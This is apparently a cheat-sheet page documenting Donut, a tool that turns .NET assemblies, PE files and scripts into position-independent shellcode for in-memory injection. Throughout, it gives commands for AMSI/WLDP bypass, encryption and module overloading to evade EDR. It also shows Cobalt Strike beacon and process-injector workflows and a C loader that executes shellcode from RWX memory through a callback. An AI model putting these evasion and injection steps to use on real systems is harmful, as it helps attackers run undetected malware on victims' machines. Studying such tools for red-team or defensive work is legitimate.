Donut
Donut is a position-independent shellcode generator that transforms .NET assemblies, native PE files, and scripts into in-memory executable payloads. It enables direct injection into processes without touching disk, making it a critical tool for red team operations and EDR evasion.
Installation
Sección titulada «Installation»Linux / macOS
Sección titulada «Linux / macOS»Clone the repository and build from source:
git clone https://github.com/TheWover/donut.git
cd donut
make
# Binary available at ./donut
Windows
Sección titulada «Windows»Use Visual Studio to compile from the provided solution file:
git clone https://github.com/TheWover/donut.git
cd donut
# Open donut.sln in Visual Studio and build (Release x64 or x86)
# Binary available at Release\donut.exe
Python Module
Sección titulada «Python Module»Install the Python wrapper for programmatic access:
pip install donut-shellcode
Quick Start
Sección titulada «Quick Start»Convert an executable to shellcode in one command:
./donut -f payload.exe -o shellcode.bin
The generated shellcode.bin is position-independent and can be injected directly into a running process.
Supported Input Types
Sección titulada «Supported Input Types»| Input Type | Extension | Use Case |
|---|---|---|
| .NET Assembly | .exe, .dll | Managed C# payloads |
| Native PE | .exe, .dll | Unmanaged C/C++ payloads |
| VBScript | .vbs | Script-based payloads |
| JScript | .js | JavaScript-based payloads |
Basic Usage
Sección titulada «Basic Usage»Core Syntax
Sección titulada «Core Syntax»./donut -f <input_file> [options]
Essential Options
Sección titulada «Essential Options»| Option | Description |
|---|---|
-f <file> | Input file (required) |
-o <file> | Output filename (default: payload.bin) |
-a <arch> | Architecture: x86, amd64, x86+amd64 (default: auto-detect) |
-b <bypass> | Bypass AMSI/WLDP: 1=bypass, 2=abort, 3=continue |
-z <compression> | Compression: none, aPLib, LZNT1, Xpress |
-e <encryption> | Encryption: none, random |
.NET Assembly Conversion
Sección titulada «.NET Assembly Conversion»Convert managed C# assemblies to shellcode with parameter passing:
# Simple .NET executable
./donut -f MyPayload.exe -o shellcode.bin
# .NET DLL with specific class and method
./donut -f MyPayload.dll -c MyNamespace.MyClass -m MyMethod -o shellcode.bin
# .NET assembly with command-line arguments
./donut -f MyPayload.exe -p "arg1 arg2 arg3" -o shellcode.bin
# Specify runtime version (v2, v4)
./donut -f MyPayload.exe -r v4 -o shellcode.bin
Example C# Payload
Sección titulada «Example C# Payload»class Program {
static void Main(string[] args) {
System.Diagnostics.Process.Start("calc.exe");
}
}
Compile and convert:
csc Program.cs
./donut -f Program.exe -o shellcode.bin
Native PE Conversion
Sección titulada «Native PE Conversion»Convert unmanaged executables and DLLs:
# Native x64 executable
./donut -f payload.exe -a amd64 -o shellcode.bin
# Native x86 executable with arguments
./donut -f payload.exe -a x86 -p "arg1 arg2" -o shellcode.bin
# Support dual architecture
./donut -f payload.exe -a x86+amd64 -o shellcode.bin
Donut automatically detects and preserves the entry point, handling both console and GUI applications.
Script Conversion
Sección titulada «Script Conversion»Convert VBScript and JScript files to shellcode:
# VBScript conversion
./donut -f script.vbs -o shellcode.bin
# JScript conversion
./donut -f script.js -o shellcode.bin
Scripts are embedded in the shellcode and executed by the runtime upon injection.
Encryption and Compression
Sección titulada «Encryption and Compression»Reduce detectability with built-in encryption and compression:
# aPLib compression (best compression ratio)
./donut -f payload.exe -z aPLib -o shellcode.bin
# LZNT1 compression
./donut -f payload.exe -z LZNT1 -o shellcode.bin
# Xpress compression
./donut -f payload.exe -z Xpress -o shellcode.bin
# Random XOR encryption
./donut -f payload.exe -e random -o shellcode.bin
# Combine compression and encryption
./donut -f payload.exe -z aPLib -e random -o shellcode.bin
AMSI and WLDP Bypass
Sección titulada «AMSI and WLDP Bypass»Control behavior when AMSI/Windows Defender Application Guard is detected:
# Bypass AMSI/WLDP silently
./donut -f payload.exe -b 1 -o shellcode.bin
# Abort shellcode if bypass fails
./donut -f payload.exe -b 2 -o shellcode.bin
# Continue execution even if bypass fails
./donut -f payload.exe -b 3 -o shellcode.bin
Bypass modes affect detection evasion strategy during .NET runtime initialization.
Module Overloading
Sección titulada «Module Overloading»Replace API function pointers to evade hook detection:
# Enable module overloading
./donut -f payload.exe -j -o shellcode.bin
This technique patches module exports in-memory to evade API hooking by EDR solutions and user-mode security monitors.
Output Formats
Sección titulada «Output Formats»Generate shellcode in multiple output formats:
# Binary output (default)
./donut -f payload.exe -o shellcode.bin
# Base64 encoded
./donut -f payload.exe -f base64 -o shellcode.b64
# C array
./donut -f payload.exe -f c -o shellcode.c
# Python bytes
./donut -f payload.exe -f python -o shellcode.py
# Ruby array
./donut -f payload.exe -f ruby -o shellcode.rb
# C# array
./donut -f payload.exe -f csharp -o shellcode.cs
# Hex string
./donut -f payload.exe -f hex -o shellcode.hex
Use format-specific output for direct integration into loaders and frameworks.
API Hashing
Sección titulada «API Hashing»Donut uses a hashing algorithm to resolve Windows APIs at runtime:
# Default API hashing (NTDLL.DLL for critical functions)
./donut -f payload.exe -o shellcode.bin
The generated shellcode includes a hash resolver that dynamically locates APIs without import table modifications, reducing detection surface.
Python Module Usage
Sección titulada «Python Module Usage»Generate shellcode programmatically using the Python API:
import donut
# Basic shellcode generation
shellcode = donut.create(file="payload.exe")
# With options
shellcode = donut.create(
file="MyPayload.exe",
output_format="base64",
compression="aPLib",
encryption="random",
bypass=1
)
# .NET assembly with class/method
shellcode = donut.create(
file="MyPayload.dll",
cls="MyNamespace.MyClass",
method="MyMethod",
params="arg1 arg2"
)
# Write to file
with open("shellcode.bin", "wb") as f:
f.write(shellcode)
Integration Examples
Sección titulada «Integration Examples»Cobalt Strike Integration
Sección titulada «Cobalt Strike Integration»Use Donut-generated shellcode with Cobalt Strike’s inject functionality:
# Generate shellcode
./donut -f beacon.exe -z aPLib -e random -o beacon.bin
# In Cobalt Strike: inject -> shellcode -> upload beacon.bin
ScareCrow Integration
Sección titulada «ScareCrow Integration»Combine with ScareCrow for Windows binary obfuscation:
# Generate shellcode
./donut -f payload.exe -o shellcode.bin
# Use ScareCrow to wrap shellcode in obfuscated loader
python scarecrow.py -l shellcode.bin -o loader.exe
Process Injector Integration
Sección titulada «Process Injector Integration»Inject generated shellcode directly:
# Generate shellcode
./donut -f payload.exe -a amd64 -z aPLib -e random -o shellcode.bin
# Inject into running process (using custom injector)
./injector.exe -p <PID> -s shellcode.bin
Custom Loader Integration
Sección titulada «Custom Loader Integration»Embed shellcode in custom C/C++ loaders:
// Donut-generated shellcode (hex array)
unsigned char shellcode[] = {
0x4d, 0x5a, 0x90, 0x00, // ... (hex bytes)
};
// Allocate RWX memory and execute
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(alloc, shellcode, sizeof(shellcode));
EnumSystemLocalesA((LOCALE_ENUMPROCA)alloc, 0);
Troubleshooting
Sección titulada «Troubleshooting»| Issue | Solution |
|---|---|
Invalid file format | Ensure input is valid PE/managed executable or script |
Shellcode too large | Reduce size with compression (-z aPLib) or split payload |
Architecture mismatch | Verify target process architecture matches -a option |
Module not found | Check .NET assembly is compilable standalone |
AMSI bypass failed | Use -b 3 to continue if bypass detection occurs |
Best Practices
Sección titulada «Best Practices»- Combine encryption and compression: Use
-z aPLib -e randomfor maximum evasion - Target architecture: Always specify
-amatching the injection target (x86 for x86 processes, amd64 for x64) - Test locally first: Verify shellcode injection works in your lab before deployment
- Monitor file size: Smaller payloads are faster to inject; compress when possible
- Use module overloading: Enable
-jon targets with EDR hooks to evade API inspection - Split large payloads: For multi-stage attacks, split payloads and chain injections
- Disable AMSI bypass selectively: Use
-b 3in noisy environments to avoid detection events
Related Tools
Sección titulada «Related Tools»| Tool | Purpose |
|---|---|
| ScareCrow | Windows binary obfuscation and evasion |
| sRDI | Reflective DLL injection for native PE files |
| PEzor | PE obfuscator with inline shellcode support |
| Freeze | In-memory .NET assembly encryption |
| SharpSploit | .NET post-exploitation framework |
| Cobalt Strike | Commercial red team platform (Beacon payload generation) |